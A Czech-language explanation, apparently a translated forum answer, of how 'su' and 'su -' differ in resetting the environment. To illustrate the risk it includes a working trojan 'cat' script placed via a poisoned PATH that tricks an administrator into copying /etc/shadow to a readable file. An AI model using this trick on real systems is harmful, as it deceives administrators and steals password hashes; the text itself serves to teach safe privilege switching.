su -
po přepnutí uživatele vyvolá přihlašovací shell. Přihlašovací shell resetuje většinu proměnných prostředí a poskytuje čistý základ.
su
pouze přepne uživatele a poskytne normálnímu shellu prostředí téměř stejné jako u starého uživatele.
Představte si, že jste vývojář softwaru s normálním uživatelským přístupem k počítači a váš neznalý administrátor vám prostě nedá přístup root. Pojďme ho (doufejme) oklamat.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Nyní se zeptejte svého administrátora, proč nemůžete cat
fiktivní soubor ve vaší domovské složce, prostě to nebude fungovat!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Pokud váš administrátor není tak chytrý nebo jen trochu líný, může přijít k vašemu stolu a zkusit to se svými superuživatelskými schopnostmi:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Páni! Díky, super admine!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
On, on.
Možná jste si všimli, že je poškozený $PATH
proměnná nebyla resetována. To by se nestalo, kdyby admin vyvolal su -
místo toho.
su -
vás přihlásí úplně jako root, zatímco su
dělá to tak, že předstíráte, že jste root.
Nejviditelnějším příkladem toho je ~
je domovský adresář root, pokud používáte su -
, ale váš vlastní domovský adresář, pokud používáte su
.
V závislosti na vašem systému to může také znamenat rozdíly ve výzvě PATH
nebo soubor historie.
Takže pokud jste součástí týmu spravujícího systém a váš kolega vám dá příkaz ke spuštění, víte, že to bude fungovat stejně, pokud oba používáte su -
, ale pokud oba používáte su
, mohou existovat rozdíly kvůli tomu, že máte různé konfigurace shellu.
Na druhou stranu, pokud chcete spustit příkaz jako root, ale pomocí vlastní konfigurace, pak možná su
je pro vás lepší.
Nezapomeňte také na sudo
, který má -s
možnost spustit shell spuštěný jako root. Samozřejmě to má také různá pravidla a ta se mění v závislosti na distribuci, kterou používáte.
Hlavní rozdíl je:
su - username
nastaví prostředí prostředí, jako by to bylo čisté přihlášení jako zadaný uživatel, přistupuje a používá zadané uživatelské proměnné prostředí,
su username
pouze spustí shell s aktuálním nastavením prostředí pro zadaného uživatele.
Pokud uživatelské jméno není zadáno pomocí su
a su -
, jako výchozí je implikován účet root.